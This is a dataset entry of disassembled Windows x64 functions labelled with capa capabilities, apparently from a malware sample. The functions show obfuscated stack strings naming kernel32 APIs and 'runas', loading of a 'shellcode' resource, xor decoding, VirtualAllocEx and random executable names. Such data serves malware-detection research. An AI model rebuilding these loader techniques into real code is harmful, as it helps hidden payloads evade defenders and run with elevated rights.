joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140004564
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 8], rbx
push rbp
mov rbp, rsp
sub rsp, 0x80
mov rax, qword [0x14009f2b0]
xor rax, rsp
mov qword [rbp - 8], rax
movdqa xmm0, xmmword [0x1400795e0]
lea rcx, [rbp - 0x60]
movdqu xmmword [rbp - 0x20], xmm0
mov dword [rbp - 0x60], 0x6e72656b
mov dword [rbp - 0x5c], 0x32336c65
mov dword [rbp - 0x58], 0x6c6c642e
mov byte [rbp - 0x54], 0
mov dword [rbp - 0x40], 0x64616f4c
mov dword [rbp - 0x3c], 0x7262694c
mov dword [rbp - 0x38], 0x41797261
mov byte [rbp - 0x34], 0
mov dword [rbp - 0x30], 0x50746547
mov dword [rbp - 0x2c], 0x41636f72
mov dword [rbp - 0x28], 0x65726464
mov word [rbp - 0x24], 0x7373
mov byte [rbp - 0x22], 0
mov word [rbp - 0x10], 0x4165
mov byte [rbp - 0xe], 0
mov dword [rbp - 0x50], 0x65766f4d
mov dword [rbp - 0x4c], 0x656c6946
mov word [rbp - 0x48], 0x41
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rbx, rax
test rax, rax
je 0x1400046b7
lea rdx, [rbp - 0x40]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, [rbp - 0x30]
mov rcx, rbx
mov qword [0x1400a2a18], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdx, qword [0x1400a2a18]
mov qword [0x1400a2a00], rax
test rdx, rdx
je 0x140004729
test rax, rax
je 0x140004729
lea rcx, [rbp - 0x60]
call rdx
mov rbx, rax
test rax, rax
je 0x1400046dd
lea rdx, [rbp - 0x20]
mov rcx, rax
call qword [0x1400a2a00]
lea rdx, [rbp - 0x50]
mov rcx, rbx
mov qword [0x1400a2a08], rax
call qword [0x1400a2a00]
cmp qword [0x1400a2a08], 0
mov qword [0x1400a2a10], rax
je 0x140004703
test rax, rax
je 0x140004703
mov rcx, qword [rbp - 8]
xor rcx, rsp
call fcn.140036000
mov rbx, qword [rsp + 0x90]
add rsp, 0x80
pop rbp
ret
lea rdx, [0x140079190]
lea rcx, [0x1400a3020]
call fcn.1400014ac
mov rcx, rax
call fcn.140001f78
mov ecx, 1
call fcn.1400587e0
int3
lea rdx, [0x1400791e8]
lea rcx, [0x1400a3020]
call fcn.1400014ac
mov rcx, rax
call fcn.140001f78
mov ecx, 1
call fcn.1400587e0
int3
lea rdx, [0x140079200]
lea rcx, [0x1400a3020]
call fcn.1400014ac
mov rcx, rax
call fcn.140001f78
mov ecx, 1
call fcn.1400587e0
int3
lea rdx, [0x1400791b0]
lea rcx, [0x1400a3020]
call fcn.1400014ac
mov rcx, rax
call fcn.140001f78
mov ecx, 1
call fcn.1400587e0
int3
Function at 0x140004750
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rbp
push rdi
push r14
mov rbp, rsp
sub rsp, 0x60
mov rax, qword [0x14009f2b0]
xor rax, rsp
mov qword [rbp - 8], rax
and dword [rbp - 0x20], 0
mov rbx, rcx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov edx, 0x65
mov rcx, rax
mov rsi, rax
lea r8d, [rdx - 0x5b]
call qword [sym.imp.KERNEL32.dll_FindResourceA]
mov r14, rax
test rax, rax
je 0x140004828
mov rdx, rax
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rdi, rax
test rax, rax
je 0x140004875
mov rdx, r14
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov esi, eax
test eax, eax
je 0x1400048c2
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_LockResource]
test rax, rax
je 0x14000490f
and qword [rbx], 0
lea r8, [rax + rsi]
and qword [rbx + 8], 0
mov rdx, rax
and qword [rbx + 0x10], 0
mov rcx, rbx
mov r9b, byte [rbp - 0x40]
call fcn.140001ae4
mov rax, rbx
mov rcx, qword [rbp - 8]
xor rcx, rsp
call fcn.140036000
lea r11, [rsp + 0x60]
mov rbx, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rsp, r11
pop r14
pop rdi
pop rbp
ret
lea rax, vtable.std::exception.0
mov byte [rbp - 0x10], 1
mov qword [rbp - 0x38], rax
lea rdx, [rbp - 0x30]
xor eax, eax
lea rcx, [rbp - 0x18]
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rax
lea rax, str.Failed_to_find_shellcode_resource
mov qword [rbp - 0x18], rax
call fcn.140055e08
lea rax, vtable.std::runtime_error.0
lea rdx, [0x14009d430]
mov qword [rbp - 0x38], rax
lea rcx, [rbp - 0x38]
call fcn.140055ec0
int3
lea rax, vtable.std::exception.0
mov byte [rbp - 0x10], 1
mov qword [rbp - 0x38], rax
lea rdx, [rbp - 0x30]
xor eax, eax
lea rcx, [rbp - 0x18]
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rax
lea rax, str.Failed_to_load_shellcode_resource
mov qword [rbp - 0x18], rax
call fcn.140055e08
lea rax, vtable.std::runtime_error.0
lea rdx, [0x14009d430]
mov qword [rbp - 0x38], rax
lea rcx, [rbp - 0x38]
call fcn.140055ec0
int3
lea rax, vtable.std::exception.0
mov byte [rbp - 0x10], 1
mov qword [rbp - 0x38], rax
lea rdx, [rbp - 0x30]
xor eax, eax
lea rcx, [rbp - 0x18]
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rax
lea rax, str.Shellcode_resource_size_is_0
mov qword [rbp - 0x18], rax
call fcn.140055e08
lea rax, vtable.std::runtime_error.0
lea rdx, [0x14009d430]
mov qword [rbp - 0x38], rax
lea rcx, [rbp - 0x38]
call fcn.140055ec0
int3
lea rax, vtable.std::exception.0
mov byte [rbp - 0x10], 1
mov qword [rbp - 0x38], rax
lea rdx, [rbp - 0x30]
xor eax, eax
lea rcx, [rbp - 0x18]
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rax
lea rax, str.Failed_to_lock_shellcode_resource
mov qword [rbp - 0x18], rax
call fcn.140055e08
lea rax, vtable.std::runtime_error.0
lea rdx, [0x14009d430]
mov qword [rbp - 0x38], rax
lea rcx, [rbp - 0x38]
call fcn.140055ec0
int3
Function at 0x14000495c
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rdi
push rbp
lea rbp, [rsp - 0x57]
sub rsp, 0xc0
mov rax, qword [0x14009f2b0]
xor rax, rsp
mov qword [rbp + 0x4f], rax
movdqa xmm0, xmmword [str.ShellExecuteExA]
lea rdx, [rbp + 0x3f]
mov rdi, rcx
mov dword [rbp + 0x2f], 0x6c656873
lea rcx, [rbp + 0x2f]
mov dword [rbp + 0x33], 0x2e32336c
movdqu xmmword [rbp + 0x3f], xmm0
mov dword [rbp + 0x37], 0x6c6c64
call fcn.140001884
xor edx, edx
mov dword [rbp + 0x27], 0x616e7572
lea rcx, [rbp - 0x45]
mov word [rbp + 0x2b], 0x73
mov rbx, rax
mov dword [rbp - 0x49], 0x70
lea r8d, [rdx + 0x6c]
call fcn.1400566d0
and qword [rbp - 0x41], 0
lea rax, [rbp + 0x27]
lea rcx, [rbp - 0x49]
mov qword [rbp - 0x39], rax
mov qword [rbp - 0x31], rdi
mov dword [rbp - 0x19], 1
call rbx
test eax, eax
setne al
mov rcx, qword [rbp + 0x4f]
xor rcx, rsp
call fcn.140036000
lea r11, [rsp + 0xc0]
mov rbx, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret
Function at 0x140004ee4
Capabilities:
Encode data using xor

Disassembly:
mov rax, qword [rcx]
xor r8d, r8d
mov r9, qword [rcx + 8]
sub r9, rax
cmp rax, qword [rcx + 8]
cmova r9, r8
test r9, r9
je 0x140004f0b
xor byte [rax], dl
inc r8
inc rax
cmp r8, r9
jne 0x140004efe
ret

Function at 0x1400056ac
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
mov r9, rcx
lea r10, [rcx + 0x9c4]
mov r11d, 0xe3
mov edx, dword [r10 + 4]
xor edx, dword [r10]
btr edx, 0x1f
xor edx, dword [r10]
lea r10, [r10 + 4]
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r10 + 0x630]
xor ecx, edx
mov dword [r10 - 0x9c4], ecx
sub r11, 1
jne 0x1400056bc
lea r10, [r9 + 0xd50]
mov r11d, 0x18c
mov edx, dword [r10 + 4]
xor edx, dword [r10]
btr edx, 0x1f
xor edx, dword [r10]
lea r10, [r10 + 4]
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r10 - 0xd50]
xor ecx, edx
mov dword [r10 - 0x9c4], ecx
sub r11, 1
jne 0x140005701
mov edx, dword [r9 + 0x1380]
xor edx, dword [r9 + 4]
btr edx, 0x1f
xor edx, dword [r9 + 0x1380]
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r9 + 0x634]
xor ecx, edx
mov dword [r9 + 0x9c0], ecx
and dword [r9], r11d
ret
Function at 0x140006a14
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
push rbp
lea rbp, [rsp - 0x1340]
mov eax, 0x1440
call fcn.140035f90
sub rsp, rax
mov qword [rsp + 0x70], 0xfffffffffffffffe
mov qword [rsp + 0x1458], rbx
mov qword [rsp + 0x1460], rdi
mov qword [rsp + 0x1468], r14
mov rax, qword [0x14009f2b0]
xor rax, rsp
mov qword [rbp + 0x1338], rax
mov rbx, rdx
mov rdi, rcx
and dword [rsp + 0x68], 0
movdqa xmm0, xmmword [0x1400795f0]
movdqu xmmword [rsp + 0x28], xmm0
movdqa xmm1, xmmword [0x140079500]
movdqu xmmword [rsp + 0x38], xmm1
movdqa xmm0, xmmword [0x140079540]
movdqu xmmword [rsp + 0x48], xmm0
mov dword [rsp + 0x58], 0x5a595857
mov dword [rsp + 0x5c], 0x33323130
mov dword [rsp + 0x60], 0x37363534
mov word [rsp + 0x64], 0x3938
mov byte [rsp + 0x66], 0
mov dword [rbp + 0x1330], 0x6578652e
mov byte [rbp + 0x1334], 0
mov qword [rbp - 0x70], 0xf
and qword [rbp - 0x78], 0
mov byte [rsp + 0x78], 0
xor r8d, r8d
lea rdx, [0x140078d70]
lea rcx, [rsp + 0x78]
call fcn.140005ec0
nop
call fcn.14000eb74
nop
xor r8d, r8d
lea r14d, [r8 + 1]
mov dl, r14b
lea rcx, [rsp + 0x78]
call fcn.1400058ac
call fcn.14000eb74
mov ecx, eax
or dword [rbp + 0x1324], 0xffffffff
mov dword [rbp - 0x5c], eax
mov r8d, r14d
mov edx, r14d
mov r9d, 0x270
mov eax, ecx
shr eax, 0x1e
xor eax, ecx
imul ecx, eax, 0x6c078965
add ecx, r8d
mov dword [rbp + rdx*4 - 0x5c], ecx
add r8d, r14d
add rdx, r14
cmp rdx, r9
jl 0x140006b25
mov dword [rbp - 0x60], r9d
and dword [rsp + 0x20], 0
mov dword [rsp + 0x24], 0x3d
mov qword [rbp - 0x70], 0xf
and qword [rbp - 0x78], 0
mov byte [rsp + 0x78], 0
test rbx, rbx
je 0x140006b94
lea rdx, [rbp - 0x60]
lea rcx, [rsp + 0x20]
call fcn.140001818
movsxd rcx, eax
mov r8b, byte [rsp + rcx + 0x28]
mov rdx, r14
lea rcx, [rsp + 0x78]
call fcn.140005cac
sub rbx, r14
jne 0x140006b6c
lea r8, [rbp + 0x1330]
lea rdx, [rsp + 0x78]
mov rcx, rdi
call fcn.140001718
nop
xor r8d, r8d
mov dl, r14b
lea rcx, [rsp + 0x78]
call fcn.1400058ac
mov rax, rdi
mov rcx, qword [rbp + 0x1338]
xor rcx, rsp
call fcn.140036000
lea r11, [rsp + 0x1440]
mov rbx, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret

Function at 0x140006f7c
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
mov eax, 0x13d8
call fcn.140035f90
sub rsp, rax
mov rax, qword [0x14009f2b0]
xor rax, rsp
mov qword [rsp + 0x13c0], rax
xor ecx, ecx
call fcn.140059e58
or dword [rsp + 0x13b4], 0xffffffff
mov r9d, 1
mov r8d, r9d
mov dword [rsp + 0x34], eax
mov edx, r9d
mov r10d, 0x270
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul ecx, ecx, 0x6c078965
add ecx, r8d
add r8d, r9d
mov dword [rsp + rdx*4 + 0x34], ecx
mov eax, ecx
add rdx, r9
cmp rdx, r10
jl 0x140006fc0
and dword [rsp + 0x20], 0
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x20]
mov dword [rsp + 0x30], r10d
mov dword [rsp + 0x24], 0x63
call fcn.140001818
call fcn.140006404
call fcn.14000703c
call fcn.140006328
mov rcx, qword [rsp + 0x13c0]
xor rcx, rsp
call fcn.140036000
add rsp, 0x13d8
ret
Function at 0x14000dc64
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push rbp
push rbx
lea rbp, [rsp - 0x4f]
sub rsp, 0xb8
mov qword [rbp - 0x19], 0xfffffffffffffffe
mov rax, qword [0x14009f2b0]
xor rax, rsp
mov qword [rbp + 0x3f], rax
mov dword [rbp + 0x2f], 0x74726956
mov dword [rbp + 0x33], 0x416c6175
mov dword [rbp + 0x37], 0x636f6c6c
mov word [rbp + 0x3b], 0x7845
xor ebx, ebx
mov byte [rbp + 0x3d], bl
mov dword [rsp + 0x20], r9d
mov r9d, r8d
mov r8, rdx
xor edx, edx
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
test rax, rax
jne 0x14000dd2c
mov qword [rbp - 0x21], 0xf
mov qword [rbp - 0x29], rbx
mov byte [rbp - 0x39], bl
cmp byte [rbp + 0x2f], bl
je 0x14000dce8
lea rcx, [rbp + 0x2f]
or rax, 0xffffffffffffffff
inc rax
cmp byte [rcx + rax], bl
jne 0x14000dcdd
mov rbx, rax
mov r8, rbx
lea rdx, [rbp + 0x2f]
lea rcx, [rbp - 0x39]
call fcn.140005ec0
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
lea rdx, [rbp - 0x39]
lea rcx, [rbp + 0xf]
call fcn.14000af80
nop
mov rdx, rax
lea rcx, [rbp - 9]
call fcn.14000265c
lea rdx, [0x14009d430]
lea rcx, [rbp - 9]
call fcn.140055ec0
nop
mov rcx, qword [rbp + 0x3f]
xor rcx, rsp
call fcn.140036000
add rsp, 0xb8
pop rbx
pop rbp
ret
Function at 0x14000fc2c
Capabilities:
Write file on windows

Disassembly:
mov rax, rsp
push rbp
push r12
push r13
push r14
push r15
mov rbp, rsp
sub rsp, 0x70
mov qword [rbp - 0x38], 0xfffffffffffffffe
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
mov rax, qword [0x14009f2b0]
xor rax, rsp
mov qword [rbp - 0x10], rax
mov r12, rcx
xor r15d, r15d
cmp qword [rcx + 0x68], r15
je 0x14000fdb1
cmp byte [rcx + 0x71], r15b
je 0x14000fdb1
mov rax, qword [rcx]
mov rbx, qword [rax + 0x18]
mov rcx, rbx
call fcn.1400362c0
or edx, 0xffffffff
mov rcx, r12
call rbx
cmp eax, 0xffffffff
jne 0x14000fc9e
xor al, al
jmp 0x14000fdb3
mov edx, 0xf
mov qword [rbp - 0x18], rdx
xor ecx, ecx
mov qword [rbp - 0x30], rcx
mov qword [rbp - 0x20], 8
lea rax, [rbp - 0x30]
cmp rdx, 0x10
cmovae rax, rcx
mov byte [rax + 8], r15b
mov r8, qword [rbp - 0x30]
mov rdx, qword [rbp - 0x18]
lea r9, [rbp - 0x30]
cmp rdx, 0x10
cmovae r9, r8
lea r14, [rbp - 0x30]
cmovae r14, r8
mov rsi, qword [r12 + 0x68]
mov rdx, qword [rsi]
mov rbx, qword [rbp - 0x20]
add rbx, r9
mov rdi, qword [rdx + 0x40]
mov rcx, rdi
call fcn.1400362c0
lea rax, [rbp - 0x40]
mov qword [rsp + 0x20], rax
mov r9, rbx
mov r8, r14
lea rdx, [r12 + 0x74]
mov rcx, rsi
call rdi
mov ecx, eax
test eax, eax
je 0x14000fd22
sub ecx, 1
jne 0x14000fd96
jmp 0x14000fd27
mov byte [r12 + 0x71], r15b
lea rax, [rbp - 0x30]
mov r8, qword [rbp - 0x30]
mov rdx, qword [rbp - 0x18]
cmp rdx, 0x10
cmovae rax, r8
mov rbx, qword [rbp - 0x40]
sub rbx, rax
je 0x14000fd72
lea rcx, [rbp - 0x30]
cmp rdx, 0x10
cmovae rcx, r8
mov r9, qword [r12 + 0x80]
mov r8, rbx
mov edx, 1
call fcn.14005dcd8
cmp rbx, rax
jne 0x14000fd9e
mov rdx, qword [rbp - 0x18]
mov r8, qword [rbp - 0x30]
cmp byte [r12 + 0x71], r15b
je 0x14000fd9b
test rbx, rbx
jne 0x14000fccd
xor r8d, r8d
lea edx, [rbx + 8]
lea rcx, [rbp - 0x30]
call fcn.140005cac
jmp 0x14000fcc5
cmp ecx, 2
jne 0x14000fd9e
mov r15b, 1
xor r8d, r8d
mov dl, 1
lea rcx, [rbp - 0x30]
call fcn.1400058ac
mov al, r15b
jmp 0x14000fdb3
mov al, 1
mov rcx, qword [rbp - 0x10]
xor rcx, rsp
call fcn.140036000
lea r11, [rsp + 0x70]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
Function at 0x1400333f8
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r14
push r15
sub rsp, 0x20
mov rbx, rcx
mov ebp, 0x7ff
movzx ecx, word [rcx + 6]
mov esi, edx
shr cx, 4
and cx, bp
cmp cx, bp
jne 0x140033458
test byte [rbx + 6], 0xf
jne 0x140033449
xor edi, edi
cmp word [rbx + 4], di
jne 0x140033449
cmp word [rbx + 2], di
jne 0x140033449
cmp word [rbx], di
jne 0x140033449
lea r10d, [rdi + 1]
jmp 0x14003344f
mov r10d, 2
movzx eax, r10w
jmp 0x140033663
xor edi, edi
test cx, cx
jne 0x140033473
mov rcx, rbx
call fcn.140035194
movzx ecx, ax
cmp di, ax
jl 0x140033660
test esi, esi
jle 0x1400334a8
movsx eax, cx
sub ebp, eax
cmp ebp, esi
jg 0x1400334a8
movsd xmm0, qword [0x14009f1e0]
mov ebp, 0x8000
test word [rbx + 6], bp
je 0x14003349a
xorps xmm0, xmmword [0x14007df50]
movsd qword [rbx], xmm0
mov eax, 1
jmp 0x140033663
movsx edx, cx
mov eax, edx
neg eax
cmp eax, esi
jge 0x1400334cf
add si, cx
mov eax, 0x800f
and word [rbx + 6], ax
shl si, 4
or word [rbx + 6], si
or eax, 0xffffffff
jmp 0x140033663
movzx ecx, word [rbx + 6]
lea r11d, [rsi - 1]
movzx r14d, cx
add r11d, edx
and cx, 0xf
mov ebp, 0x8000
mov r15d, 0x10
and r14w, bp
or cx, r15w
lea eax, [r11 + 0x35]
mov word [rbx + 6], cx
cmp eax, 0x34
ja 0x140033655
lea r10d, [r15 - 0xf]
movzx esi, di
cmp r11w, 0xfff0
jg 0x14003356d
movzx edx, word [rbx + 2]
mov eax, 0xfff0
sub ax, r11w
movzx r9d, cx
movzx ecx, word [rbx + 4]
shr ax, 4
add ax, r10w
movzx r8d, ax
movzx eax, r8w
shl ax, 4
add r11w, ax
test si, si
mov eax, edi
setne al
movzx esi, ax
or si, word [rbx]
mov word [rbx], dx
movzx edx, cx
movzx ecx, r9w
mov r9d, edi
sub r8, r10
jne 0x140033541
mov word [rbx + 6], di
mov word [rbx + 4], cx
mov word [rbx + 2], dx
neg r11w
je 0x1400335f7
movzx r8d, word [rbx]
mov eax, edi
movzx edx, r8w
movsx r9d, r11w
sub r15d, r9d
mov ecx, r15d
shl dx, cl
test si, si
movzx esi, dx
movzx edx, word [rbx + 2]
setne al
or si, ax
movzx eax, dx
shl ax, cl
movzx ecx, r11w
shr r8w, cl
mov ecx, r15d
or ax, r8w
movzx r8d, word [rbx + 4]
mov word [rbx], ax
movzx eax, r8w
shl ax, cl
movzx ecx, r11w
shr dx, cl
mov ecx, r15d
or ax, dx
movzx edx, word [rbx + 6]
mov word [rbx + 2], ax
movzx eax, dx
shl ax, cl
movzx ecx, r11w
shr r8w, cl
mov ecx, r9d
or ax, r8w
shr dx, cl
mov word [rbx + 6], dx
mov word [rbx + 4], ax
or word [rbx + 6], r14w
movzx eax, word [rbx + 6]
cmp bp, si
jb 0x14003360c
jne 0x14003362d
test byte [rbx], r10b
je 0x14003362d
add word [rbx], r10w
jne 0x14003362d
add word [rbx + 2], r10w
jne 0x14003362d
add word [rbx + 4], r10w
jne 0x14003362d
add ax, r10w
mov word [rbx + 6], ax
jmp 0x1400334c7
cmp ax, r14w
jne 0x1400334c7
cmp word [rbx + 4], di
jne 0x1400334c7
cmp word [rbx + 2], di
jne 0x1400334c7
cmp word [rbx], di
je 0x140033660
jmp 0x1400334c7
mov word [rbx + 6], r14w
mov dword [rbx + 2], edi
mov word [rbx], di
movzx eax, di
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop rdi
ret
Function at 0x140035774
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
sub rsp, 0x18
mov r8, rcx
mov eax, 0x5a4d
cmp word [0x140000000], ax
jne 0x140035805
movsxd rax, dword [0x14000003c]
lea rdx, [0x140000000]
lea rcx, [rax + rdx]
cmp dword [rcx], 0x4550
jne 0x140035805
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140035805
sub r8, rdx
movzx eax, word [rcx + 0x14]
lea rdx, [rcx + 0x18]
add rdx, rax
movzx eax, word [rcx + 6]
lea rcx, [rax + rax*4]
lea r9, [rdx + rcx*8]
mov qword [rsp], rdx
cmp rdx, r9
je 0x1400357e9
mov ecx, dword [rdx + 0xc]
cmp r8, rcx
jb 0x1400357e3
mov eax, dword [rdx + 8]
add eax, ecx
cmp r8, rax
jb 0x1400357eb
add rdx, 0x28
jmp 0x1400357c8
xor edx, edx
test rdx, rdx
jne 0x1400357f4
xor al, al
jmp 0x14003580b
test dword [rdx + 0x24], 0x80000000
je 0x140035801
xor al, al
jmp 0x14003580b
mov al, 1
jmp 0x14003580b
xor al, al
jmp 0x14003580b
add rsp, 0x18
ret

Function at 0x1400392f4
Capabilities:
Set thread local storage value

Disassembly:
sub rsp, 0x48
call qword [sym.imp.KERNEL32.dll_TlsSetValue]
test eax, eax
je 0x140039307
add rsp, 0x48
ret
call qword [sym.imp.KERNEL32.dll_GetLastError]
movzx edx, ax
lea rcx, [rsp + 0x20]
or edx, 0x80070000
test eax, eax
cmovle edx, eax
call fcn.140039924
lea rdx, [0x14009d8b0]
lea rcx, [rsp + 0x20]
call fcn.140055ec0
int3

Function at 0x140043e7c
Capabilities:
Set thread local storage value

Disassembly:
mov ecx, dword [0x1400a3c90]
xor edx, edx
jmp fcn.1400392f4

Function at 0x140044864
Capabilities:
Set thread local storage value

Disassembly:
mov rdx, rcx
mov ecx, dword [0x1400a3c90]
jmp fcn.1400392f4

Function at 0x1400481a4
Capabilities:
Get thread local storage value

Disassembly:
push rbx
sub rsp, 0x20
mov rax, qword [rcx + 0x18]
xor ebx, ebx
mov ecx, dword [rax + 0xb0]
call sub.KERNEL32.dll_TlsGetValue
test rax, rax
je 0x1400481c9
mov cl, al
and cl, 3
cmove rbx, rax
mov rax, rbx
add rsp, 0x20
pop rbx
ret

Function at 0x140051c44
Capabilities:
Get thread local storage value

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rax, qword [rcx + 0x30]
mov rdi, rcx
mov rdx, qword [rax + 0x18]
mov ecx, dword [rdx + 0xb0]
call sub.KERNEL32.dll_TlsGetValue
mov r8, rax
test rax, rax
je 0x140051c8f
mov dl, al
and dl, 3
cmp dl, 1
jne 0x140051c8f
and r8, 0xfffffffffffffffe
je 0x140051c8f
mov rax, qword [rdi + 0x80]
cmp r8, rax
jne 0x140051c8f
and qword [r8 + 0x20], 0
jmp 0x140051cc4
and dword [rsp + 0x28], 0
lea rax, [0x140039700]
mov qword [rsp + 0x30], rax
jmp 0x140051cb8
mov rax, qword [rdi + 0x88]
test rax, rax
jne 0x140051cc4
lea rcx, [rsp + 0x20]
call fcn.140036f64
mov rax, qword [rdi + 0x80]
test rax, rax
jne 0x140051ca2
mov rax, qword [rdi]
mov rbx, qword [rax + 0x40]
mov rcx, rbx
call fcn.1400362c0
mov edx, 1
mov rcx, rdi
mov rax, rbx
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rdi
jmp rax
Function at 0x1400587e0
Capabilities:
Parse pe header

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r14
push r15
sub rsp, 0x20
mov esi, r8d
mov ebx, edx
mov r14d, ecx
test r8d, r8d
jne 0x1400585b4
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400585b4
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400585b4
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400585b4
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400585b4
cmp dword [rcx + 0x84], 0xe
jbe 0x1400585b4
cmp dword [rcx + 0xf8], esi
je 0x1400585b4
mov ecx, r14d
call fcn.1400586fc
mov ecx, 2
call fcn.14005c340
nop
cmp byte [0x1400a3f50], 0
jne 0x14005867e
mov r15d, 1
mov eax, r15d
xchg dword [0x1400a3f40], eax
test ebx, ebx
jne 0x140058627
mov rdi, qword [0x14009f2b0]
mov edx, edi
and edx, 0x3f
lea ecx, [rbx + 0x40]
sub ecx, edx
xor eax, eax
ror rax, cl
xor rax, rdi
mov rcx, qword [0x1400a3f48]
cmp rcx, rax
je 0x14005861e
xor rdi, rcx
mov ecx, edx
ror rdi, cl
mov rcx, rdi
call qword [fcn.140050bc8]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call rdi
lea rcx, [0x1400a41a8]
jmp 0x140058633
cmp ebx, r15d
jne 0x140058639
lea rcx, [0x1400a41c0]
call fcn.140061e10
nop
test ebx, ebx
jne 0x140058650
lea rdx, [0x1400785d0]
lea rcx, [0x1400785a8]
call fcn.14006249c
lea rdx, [0x1400785e0]
lea rcx, [0x1400785d8]
call fcn.14006249c
movzx eax, byte [0x1400a3f50]
test esi, esi
cmove eax, r15d
mov byte [0x1400a3f50], al
jmp 0x14005867e
mov ecx, 2
call fcn.14005c394
test esi, esi
jne 0x140058695
mov ecx, r14d
call fcn.1400586b0
int3
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
mov rdi, qword [rsp + 0x40]
mov r14, qword [rsp + 0x48]
add rsp, 0x20
pop r15
ret
xor r8d, r8d
xor edx, edx
jmp 0x140058544
Function at 0x140021bb0
Capabilities:
Hash data with crc32

Disassembly:
mov qword [rsp + 8], rbx
mov r11d, r8d
mov r10, rdx
not r11d
mov r9, rcx
mov eax, r11d
test rdx, rdx
je 0x140021c0d
lea rbx, [0x1400db380]
movzx r8d, byte [r9]
lea r9, [r9 + 1]
dec r10
cmp r8b, 0x23
jne 0x140021bf4
cmp r10, 2
jb 0x140021bf4
cmp byte [r9], r8b
jne 0x140021bf4
cmp byte [r9 + 1], r8b
cmove eax, r11d
movzx edx, al
xor rdx, r8
shr eax, 8
xor eax, dword [rbx + rdx*4]
test r10, r10
jne 0x140021bd0
not eax
mov rbx, qword [rsp + 8]
ret
movzx r8d, byte [rcx]
inc r9
test r8b, r8b
je 0x140021c4f
lea rbx, [0x1400db380]
cmp r8b, 0x23
jne 0x140021c33
cmp byte [r9], r8b
jne 0x140021c33
cmp byte [r9 + 1], r8b
cmove eax, r11d
movzx edx, al
movzx ecx, r8b
movzx r8d, byte [r9]
xor rdx, rcx
shr eax, 8
inc r9
xor eax, dword [rbx + rdx*4]
test r8b, r8b
jne 0x140021c20
mov rbx, qword [rsp + 8]
not eax
ret